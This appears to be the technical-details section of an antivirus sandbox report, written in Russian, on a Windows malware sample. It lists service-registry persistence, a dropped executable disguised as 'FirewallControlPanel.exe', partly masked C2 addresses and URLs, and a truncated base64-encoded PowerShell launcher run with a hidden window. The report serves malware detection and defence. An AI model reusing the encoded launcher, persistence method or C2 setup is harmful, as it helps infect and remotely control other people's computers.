Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\FirewallControlPanel] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\FirewallControlPanel] 'ImagePath' = '"<SYSTEM32>\winver\FirewallControlPanel.exe"'
- 'FirewallControlPanel' "<SYSTEM32>\winver\FirewallControlPanel.exe"
- 'FirewallControlPanel' <SYSTEM32>\winver\FirewallControlPanel.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMAD...
- %HOMEPATH%\jlt8l16\sywsfk8\uzwko5gz0.exe
- <SYSTEM32>\winver\firewallcontrolpanel.exe
- %HOMEPATH%\jlt8l16\sywsfk8\uzwko5gz0.exe в <SYSTEM32>\winver\firewallcontrolpanel.exe
- '18#.#15.227.107':443
- http://mu##-in.com/wp-admin/Q/
- http://18#.##5.227.107:443/7E6yCvmuFZu/kgBBguupoiZNIyCEp4/qHxc7C3eqoHp7O/KO8ehoRO1jtqV/4mo8hua6HFh/BQWyOE3dMz76JG7B/ via 18#.#15.227.107
- DNS ASK mu##-in.com
- '%HOMEPATH%\jlt8l16\sywsfk8\uzwko5gz0.exe'
- '<SYSTEM32>\winver\firewallcontrolpanel.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMAD...' (со скрытым окном)